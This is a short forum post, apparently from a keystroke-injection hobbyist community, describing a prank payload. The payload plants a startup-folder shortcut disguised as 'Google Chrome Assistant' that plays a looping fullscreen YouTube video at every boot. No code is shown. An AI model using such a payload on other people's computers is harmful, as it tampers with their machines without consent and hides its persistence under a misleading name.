Hey all,
My first payload is done, and whilst simple, it is good as it will only really be noticed many hours or days after injection.
It creates a shortcut in the Windows 7 startup folder called "Google Chrome Assistant".
When the PC boots, it opens the youtube video in the shortcut fullscreen, looping. At the moment it is Nyancat, but if you are using your own video, remember to change 'watch' in the url to 'watch_popup' and add '&loop=1' to the end of the URL for infinity goodness.
